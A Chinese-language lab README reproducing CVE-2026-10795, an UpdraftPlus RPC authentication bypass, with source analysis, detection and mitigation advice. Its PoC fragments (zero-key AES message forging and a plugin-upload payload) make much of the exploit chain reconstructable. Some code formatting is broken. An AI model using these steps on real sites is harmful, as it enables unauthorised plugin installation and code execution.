此仓库包含一个本地 Docker 实验室,用于重现和验证 CVE-2026-10795,这是一个未认证的身份认证绕过漏洞,影响通过其 UpdraftCentral 远程通信层的 UpdraftPlus WordPress 插件。
易受攻击的行为存在于 UpdraftCentral RPC 消息处理流程中。在易受攻击的版本中,伪造的 format=1 RPC 消息可以绕过签名验证,触发失败的 RSA 解密路径,并仍然以可预测的 null key/null IV 行为到达对称解密。这允许精心构造的加密 RPC 消息被接受并作为 UpdraftCentral 命令进行调度。
此实验室比较两个 UpdraftPlus 版本:
| 服务 | UpdraftPlus 版本 | 目的 | URL |
|---|---|---|---|
vuln | 1.26.4 | 易受攻击的比较目标 | http://127.0.0.1:8081 |
patched | 1.26.5 | 已修补的比较目标 | http://127.0.0.1:8082 |
演示的链条是:```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
主要漏洞是认证绕过。该实验室表明,当存在特权 UpdraftCentral 密钥状态时,此绕过可与 RCE 式影响链式结合,因为 UpdraftCentral 暴露了合法的插件管理命令,这些命令可以安装和激活 WordPress 插件。
这不是直接的命令注入漏洞。代码执行证明来自在绕过 RPC 认证边界后滥用经过身份验证的插件安装功能。
本实验室仅设计用于受控的本地研究、源代码级理解和作品集演示。
## 已验证的事实
| 声明 | 证据 | 如何在本实验室中验证 |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 在本实验室中存在漏洞。 | 易受攻击的服务接受伪造的 `format=1` RPC 消息并调度 `plugin.upload_plugin`。 | 运行 `python3 poc/poc.py --url http://127.0.0.1:8081`。 |
| UpdraftPlus 1.26.5 在本实验室中阻止了伪造的消息。 | 修补后的服务不返回 RPC 响应体,也不调度伪造的命令。 | 运行 `python3 poc/poc.py --url http://127.0.0.1:8082`。 |
| 该问题是 UpdraftCentral RPC 层中的认证绕过。 | 在易受攻击的版本中,伪造的未经身份验证的 RPC 请求可以到达命令调度。 | 比较端口 `8081` 和 `8082` 的 `--ping` 行为。 |
| 实验室没有预安装标记插件。 | 设置仅安装 WordPress、UpdraftPlus 和本地 UpdraftCentral 密钥状态。 | 在运行 PoC 之前检查 `/wp-json/cve-lab/v1/id`。 |
| PoC 通过伪造的 RPC 安装标记插件。 | PoC 在 RPC 数据字段中发送带有 ZIP 插件负载的 `plugin.upload_plugin`。 | 运行 PoC,然后请求 `/wp-json/cve-lab/v1/id`。 |
| 易受攻击的目标达到 RCE 式影响。 | 标记插件暴露了一个硬编码的端点,返回 `/usr/bin/id` 的输出。 | 易受攻击的目标返回 `uid=33(www-data) gid=33(www-data)`。 |
| 修补后的目标不会安装标记插件。 | 在修补后的服务上,标记端点返回 `404 rest_no_route`。 | 对 `http://127.0.0.1:8082` 运行 PoC。 |
| 实验室需要 UpdraftCentral 密钥状态。 | UpdraftCentral 调度依赖于本地密钥条目和相关元数据。 | 查看 `scripts/setup-wordpress.sh`。 |
## 假设与未知因素
本实验室有意植入本地 UpdraftCentral 密钥状态,以重现已配置远程控制的站点条件。
植入的密钥状态是实验室的先决条件,而非漏洞本身。它使实验室能够一致地利用易受攻击的 RPC 解析和解密路径。
实验室并不声称每个 UpdraftPlus 安装都立即可以被利用。所演示的链取决于是否存在与特权 WordPress 用户关联的本地 UpdraftCentral 密钥条目。
本实验室通过安装一个暴露硬编码 `/usr/bin/id` 证明端点的标记插件,演示了受控的 RCE 式影响。它不提供通用 Web shell、任意命令执行参数、反向 shell、持久化机制、凭证窃取或外部回调。
PoC 仅针对本地目标,默认拒绝非本地主机名。
## 根本原因总结
根本原因是易受攻击的 UpdraftPlus 版本中对 UpdraftCentral RPC 消息的验证不恰当。
易受攻击的 RPC 流程接受 `format=1` 消息。`format=1` 路径不需要像较新消息格式那样的相同签名验证。
高级别问题是:```text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
在易受攻击的行为中,RSA 解密可能返回:```text false
Instead of rejecting that failed decrypt result, the vulnerable flow continues and passes the value into the symmetric decryption layer.
The effective vulnerable pattern is:```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
问题在于 $sym_key 在使用前未经过验证。
当 $sym_key 为 false 时,密码设置会遵循可预测的空密钥/空初始向量行为。这使得可以使用已知的零密钥和零初始向量来构造加密的 RPC 负载。
修补后的版本在对称密钥使用前添加了一个防护检查:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
这改变了信任边界。
在补丁之前:```text
failed RSA decrypt result could still reach symmetric decrypt
补丁之后:```text failed RSA decrypt result is rejected before command dispatch
这就是为什么存在漏洞的服务会分发伪造的 RPC 命令,而修补后的服务则不会。
## 为什么身份验证绕过可能导致代码执行
CVE-2026-10795 最好被描述为身份验证绕过,因为根本缺陷在于 RPC 身份验证和消息验证层。
然而,在绕过该身份验证边界后,攻击者控制的 RPC 消息可以到达特权级 UpdraftCentral 命令。
其中一个重要的命令路径是:```text
plugin.upload_plugin
该命令是 UpdraftCentral 插件管理功能的一部分。它接收插件 ZIP 负载,将其写入临时位置,安装插件,并根据请求激活插件。
因此影响链为:```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
这不是命令注入。
该实验室通过安装一个公开单个端点的标记插件来演示代码执行:```text
/wp-json/cve-lab/v1/id
标记插件不接受命令参数。它只运行:```text /usr/bin/id
这使得证明过程可控,并避免将实验室变成通用型的网页外壳。
## 补丁源码摘要
相关的补丁行为是,修补后的版本在尝试解密RPC消息体之前,会拒绝无效的对称密钥。
重要的验证是:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
这防止了易受攻击的回退行为,即失败的RSA解密结果可能变成可预测的对称密钥路径。实际结果是:```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
该实验还通过针对真实的 UpdraftCentral 插件上传命令路径来验证下游影响。
相关命令行为是:```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
The patched version blocks the forged message before this command path is reached.
This section explains the vulnerable path at source-code level and maps each PoC step to the relevant UpdraftPlus / UpdraftCentral behavior.
The lab does not rely on a fake vulnerable application route. The vulnerable behavior is reached through the real UpdraftCentral RPC listener and the real UpdraftCentral plugin-management command path.
The important source areas are:```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### 监听器创建
当WordPress接收到包含以下内容的POST请求时,存在漏洞的RPC路径启动:```text
udrpc_message
format
key_name
RPC 库会在存在这些 POST 字段时,在 WordPress 的 wp_loaded 上注册一个监听器。
从概念上讲,流程如下:```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
这意味着攻击者无需知道特定的REST端点或管理员URL。伪造的RPC请求会作为普通的POST请求发送到WordPress网站根目录。
PoC发送:```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
请求到达与合法的UpdraftCentral远程通信相同的监听器路径。
UpdraftCentral将本地远程控制键存储在WordPress选项中。在本实验中,设置脚本为易受攻击的靶机和已修补的靶机分别植入了受控的键状态。
相关的键名是:```text 0.central.updraftplus.com
此格式由UpdraftCentral关键指标逻辑生成:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
监听器只有在未加密的 POST 字段与预期的密钥指示符匹配时才会继续执行:```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
因此,PoC 设置:```python
KEY_NAME = "0.central.updraftplus.com"
这不是漏洞。这是一个实验室前提条件,允许测试以可重复的方式执行易受攻击的RPC解析和解密路径。
UpdraftCentral 支持消息格式。重要的区别是:```text format=1 legacy path format=2 signed message path
在易受攻击的代码路径中,只有当格式大于或等于2时才进行签名验证。```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
因为 PoC 使用:```text format=1
该签名验证块被跳过。
这就是身份验证绕过边界。
合法的 `format=2` 消息应包含有效签名。伪造的 `format=1` 消息不需要签名,因此攻击者控制的消息可以继续进入解密路径。
### 存在漏洞的解密流程
在格式和密钥名称检查之后,监听器解密提交的 `udrpc_message`。
UpdraftPlus 1.26.4 中存在漏洞的解密流程实际上是:```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
这个错误位于这两个操作之间:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
如果RSA解密失败,`$rsa->decrypt()`可能返回:```php
false
这个易受攻击的版本在将其传递到之前不会拒绝该值:```php $rij->setKey($sym_key);
已修补的版本通过添加验证来修复这个问题:```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
这一保护是安全相关的补丁。它阻止了失败的 RSA 解密结果进入对称密码设置流程。
false 变得可预测这种脆弱行为之所以危险,是因为在此 phpseclib 路径中,setKey(false) 无法安全地失败。
密码代码会根据提供的密钥计算密钥长度:```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
当 `$key` 为 `false` 时,`strlen(false)` 的行为类似于零长度键的情况。
Rijndael 密钥长度逻辑会将非常小的密钥大小向上舍入到有效的最小密钥长度:```php
case $length <= 128:
$this->key_length = 16;
break;
然后,密码设置会用空字节填充密钥和IV:```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
因此,攻击者可以将易受攻击的解密行为建模为:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
这就是为什么 PoC 可以在本地加密 JSON RPC 命令,并让脆弱目标成功解密它的原因。
脆弱的解密函数期望加密的消息包含:```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
PoC 手动构建此结构:```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
RSA 块是故意无效的:```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
在 UpdraftPlus 1.26.4 中,该无效的RSA块导致RSA解密失败,但该失败未被拒绝。
在 UpdraftPlus 1.26.5 中,失败的解密结果被新的守卫拒绝,伪造的消息无法到达命令调度。
### 内部 JSON RPC 消息
加密的内部消息是一个正常的 UpdraftCentral 风格的 JSON 命令。
对于ping验证,PoC 使用:```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
对于默认的ID证明,PoC使用:```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
`key_name` 同时出现在加密消息的外部与内部。侦听器会检查两者是否匹配:```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
这就是为什么PoC必须在两个地方包含相同的键名。
解密消息后,监听器将其解析为JSON:```php $udrpc_message = json_decode($udrpc_message, true);
消息必须包含一个有效的命令:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
它还必须包含一个时间戳:```php if (empty($udrpc_message['time'])) { die; }
时间戳必须在允许的重放窗口内:```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
因此,PoC 将内部的 time 字段设置为当前时间。
在消息被解密并验证后,UpdraftCentral 便会调度该命令。
命令采用前缀格式:```text .
例如:```text
plugin.upload_plugin
这变成:```text prefix = plugin method = upload_plugin
监听器从前缀解析出命令类,然后动态调用方法:```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
对于 PoC 命令:```text plugin.upload_plugin
监听器调用:```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
这就是为什么PoC不需要直接的命令注入攻击点。它在绕过RPC身份验证边界后,能够到达一个合法的特权UpdraftCentral命令。
监听器可以从UpdraftCentral密钥元数据中设置当前的WordPress用户:```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
在这个实验中,预设的密钥有:```text
extra_info.user_id = 1
这模拟了一个配置好的UpdraftCentral密钥,与WordPress设置期间创建的管理员用户关联。
这很重要,因为插件上传路径会检查WordPress权限:```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
因此,仅凭绕过本身就能将伪造的命令送入 RPC 层。而预置的密钥元数据决定了该命令在哪个 WordPress 用户上下文中执行。
在本实验中,由于密钥与用户 ID 1 关联,命令在管理员上下文中执行。
### 插件上传接收点
该命令方法是:```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
共享上传处理器期望插件上传数据:```text filename data activate
PoC 发送:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
上传处理器将ZIP内容写入临时文件:```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
对于非分块上传,安装立即开始:```php
$install_now = true;
然后处理器构建一个ZIP路径:```php $zip_filepath = $upload_dir.'/'.$filename;
并使用UpdraftCentral插件升级器进行安装:```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
如果安装成功且 activate 为真,则代码激活已安装的插件:```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
安装成功的响应包含:```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
这就是为什么伪造的RPC身份验证绕过可以被链接到WordPress插件安装和激活的源代码级别原因。
标记插件由PoC在内存中生成。它不是由Docker设置预安装的。
标记插件注册了一个REST路由:```text
/wp-json/cve-lab/v1/id
该端点返回:```text lab plugin proof uid gid user id_output
标记插件执行的唯一命令是硬编码的:```php
shell_exec('/usr/bin/id 2>&1');
没有用户控制的 cmd 参数。
这是故意的。该实验证明了在避免通用 Web shell 的情况下执行插件代码。
修补后的服务收到相同的伪造请求,并具有相同的种子密钥状态。
不同之处在于修补后的解密防护:```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
因为PoC故意提供了一个无效的RSA块,所以解密后的对称密钥是无效的。
在UpdraftPlus 1.26.5中,伪造的消息在JSON解析之前和命令分发之前就停止了。
因此:```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
这种修补后的行为证明,实验室结果依赖于易受攻击的UpdraftPlus RPC代码路径,而非Docker测试环境。
PoC开始时拒绝非本地目标:```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
这将使脚本的范围限定在Docker实验环境中。
该PoC构建内部RPC消息:```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
如果使用默认的ID证明,命令为:```python command = "plugin.upload_plugin"
并且数据是:```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
PoC 然后用可预测的脆弱密码状态加密内部 JSON。```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
这符合将 `false` 传入对称密码设置时的脆弱后果。
PoC 故意使用了一个错误的 RSA 块:```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
生成的 udrpc_message 以与 RPC 解密函数期望的相同长度前缀格式构建:```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
最后,PoC 发送伪造的 RPC 请求:```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
在易受攻击的目标上,服务器响应包含一个有效的 RPC 风格的 JSON 响应体。PoC 将其视为:```text RPC DISPATCHED
After dispatch, the PoC verifies the impact by requesting the marker endpoint:```text
GET /wp-json/cve-lab/v1/id
如果marker插件已安装并激活,端点返回:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
该输出证明伪造的未认证RPC消息已到达特权插件安装路径,并在本地实验室中激活了攻击者提供的插件代码。
## 实验室证明内容
本实验室证明了以下技术链:```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
本实验并未证明每个安装都无需先决条件即可被利用。
此演示所需的先决条件是:```text an existing UpdraftCentral local key state associated with a privileged WordPress user
Docker设置在这两个目标中都创建了该先决条件,以便可以公平地测试易受攻击行为和修补行为之间的差异。
## 实验室架构
该实验室通过Docker Compose运行两个独立的WordPress安装。```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
两个 WordPress 服务分别运行独立的数据库和独立的 UpdraftPlus 版本:
默认暴露的服务:```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
设置过程将相同的UpdraftCentral密钥状态注入到两个服务中:```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
这使得两个目标具有相同的前提状态。行为差异源于存在漏洞的 UpdraftPlus 代码与已修补的 UpdraftPlus 代码之间的不同,而非实验室设置的不同。
requirements.txt 中列出的 Python 包Python 依赖项:```text requests urllib3<2 pycryptodome
The `urllib3<2` constraint avoids LibreSSL-related warnings on some macOS Python builds.
## 快速开始
从干净的实验室状态开始:```bash
docker compose down -v --remove-orphans
docker compose up -d --build
查看设置日志:```bash docker compose logs -f vuln_setup patched_setup
预期设置指标:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
暂无内容。```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
检查正在运行的服务:```bash
docker compose ps
创建并激活一个 Python 虚拟环境:```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
对易受攻击的目标运行默认的ID证明:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
对已修补的目标运行相同的验证:```bash python3 poc/poc.py --url http://127.0.0.1:8082
该脚本有意要求使用 `--url` 选项。这强制测试者显式选择目标,而不是自动攻击两个服务。
## PoC 使用
默认行为:```bash
python3 poc/poc.py --url <local_target_url>
示例漏洞目标:```bash python3 poc/poc.py --url http://127.0.0.1:8081
已修补的目标示例:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
可选仅 Ping 验证:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
Supported options:
| 选项 | 必需 | 用途 |
| ----------- | ---- | ---------------------------------------------------- |
| `--url` | 是 | 本地实验室目标 URL |
| `--ping` | 否 | 运行无害的伪造 ping 验证,而非 ID 证明 |
| `--timeout` | 否 | HTTP 超时(秒)。默认值:`15` |
已接受的目标主机:```text
127.0.0.1
localhost
::1
该 PoC 默认拒绝非本地目标。
PoC 从宿主机运行,并向暴露的 Docker 服务发送 HTTP 请求。
默认的 PoC 操作是身份证明。
高级流程如下:```text
标记插件并非以独立插件文件的形式存储在仓库中。它由PoC在内存中生成。
伪造的RPC命令为:```text
plugin.upload_plugin
RPC 数据包含:```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
该PoC使用以下方式加密内部JSON RPC消息:```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
它也包含一个故意无效的RSA加密对称密钥块。
在易受攻击的版本中,RSA解密失败不会被拒绝。消息继续进入可预测的null-key解密路径,伪造命令被分发。
在修补后的版本中,无效的对称密钥被拒绝,伪造命令不会被分发。
--ping--ping选项是一个调试辅助工具。
它仅验证加密绕过和RPC分发边界。它不会上传插件,也不会运行/usr/bin/id。
当默认ID证明不起作用且需要隔离故障时,使用--ping。
如果--ping失败,问题可能出现在命令执行之前:```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
如果 `--ping` 成功但 ID 证明失败,问题很可能发生在分发之后:```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
预期的 ping 行为:```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## 预期结果
### 易受攻击的目标
命令:```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### 已修补的目标
命令:```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## 手动验证命令
检查服务健康状态:```bash
docker compose ps
检查易受攻击的服务元数据:```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
检查已修补的服务元数据:```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
检查运行时插件状态:```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
运行仅 Ping 验证:```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
运行ID证明:```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
运行PoC后立即检查标记端点:```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
预期:```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
检查易受攻击容器内已安装的插件:```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
在修补后的容器中检查已安装的插件:```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
存在漏洞的服务应在 PoC 运行后包含标记插件。已修补的服务则不应包含。
## 影响
此实验证明,当存在合适的 UpdraftCentral 密钥状态时,未经身份验证的攻击者可以伪造一条 UpdraftCentral RPC 消息,该消息能够到达 UpdraftPlus 1.26.4 中的特权命令分发点。
所展示的影响是 RCE 类型的,因为伪造的 RPC 命令滥用了合法的插件管理功能:```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
本地证明显示以web服务器用户身份执行:```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
漏洞类别仍为身份验证绕过。代码执行结果是利用特权WordPress插件安装形成的连锁影响。
## 检测与监控
潜在指标包括对WordPress首页发起的未经验证POST请求,其中包含UpdraftCentral RPC字段:```text
format
key_name
udrpc_message
signature
可疑特征:```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
本地实验室指示器:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
生产监控建议:
udrpc_message 的 POST 请求。format=1 RPC 请求发出警报。wp-content/plugins 下的文件系统变更。将 UpdraftPlus 升级到 1.26.5 或更高版本。
已修补版本会在对称解密和命令分发之前拒绝无效的解密对称密钥。
推荐的缓解步骤:
udrpc_message 请求。最重要的修复是运行已修补的 UpdraftPlus 版本,该版本在解密和分发之前拒绝无效的对称密钥。
停止容器并移除网络:```bash docker compose down --remove-orphans
移除容器、网络和卷:```bash
docker compose down -v --remove-orphans
删除 Python 虚拟环境:```bash rm -rf venv
删除已创建的本地证据文件:```bash
rm -rf evidence/
本实验仅用于本地安全研究和受控演示。
请勿针对您不拥有或未经明确许可的系统运行PoC。
请勿在本实验中使用真实凭据、生产机密或外部目标。
PoC有意限定在本地Docker服务范围内,例如:```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
PoC 默认拒绝非本地目标。
marker plugin 未实现通用的命令执行参数。它仅暴露一个硬编码的本地验证端点,运行 `/usr/bin/id`。
本实验室不包括:```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
目标是在受控环境中演示一种特定的技术条件:```text unauthenticated forged RPC
## References
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Wordfence 漏洞数据库: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Patchstack 数据库: UpdraftPlus
https://patchstack.com/database/
* WordPress.org 插件: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* WordPress.org 插件 SVN
https://plugins.svn.wordpress.org/updraftplus/
* WordPress.org 插件 SVN 标签
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: 身份验证速查表
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Web 安全测试指南
https://owasp.org/www-project-web-security-testing-guide/
| PoC行为 | 被测的源码行为 | 1.26.4版本预期结果 | 1.26.5版本预期结果 |
|---|
发送format=1的POST请求 | 监听器接受传统RPC格式 | 继续 | 继续进入修补后的解密检查 |
| 省略有效签名 | 签名检查仅适用于format >= 2 | 不需要签名 | format=1不需要签名,但后续被阻止 |
| 发送无效RSA块 | RSA解密返回无效对称密钥 | 无效密钥进入setKey() | 无效密钥被拒绝 |
| 使用空密钥/空IV加密JSON | 模拟setKey(false)后phpseclib的回退行为 | 解密为有效JSON | 无法解密 |
设置command=ping | 仅测试加密绕过和分发 | PING DISPATCHED | PING NOT DISPATCHED |
设置command=plugin.upload_plugin | 调用UpdraftCentral插件上传方法 | 插件ZIP被安装 | 命令未到达 |
设置activate=true | 安装后触发activate_plugin() | 标记插件激活 | 标记插件缺失 |
请求/wp-json/cve-lab/v1/id | 检查标记插件代码是否运行 | 返回uid=33(www-data) | 返回404 rest_no_route |
| 服务 | 组件 | 版本 / 角色 |
|---|
vuln | WordPress + UpdraftPlus | UpdraftPlus 1.26.4 易受攻击目标 |
patched | WordPress + UpdraftPlus | UpdraftPlus 1.26.5 已修补目标 |
vuln_db | MariaDB | 易受攻击目标的数据库 |
patched_db | MariaDB | 已修补目标的数据库 |
vuln_setup | WP-CLI 设置服务 | 安装 WordPress、激活 UpdraftPlus、注入本地密钥状态 |
patched_setup | WP-CLI 设置服务 | 安装 WordPress、激活 UpdraftPlus、注入本地密钥状态 |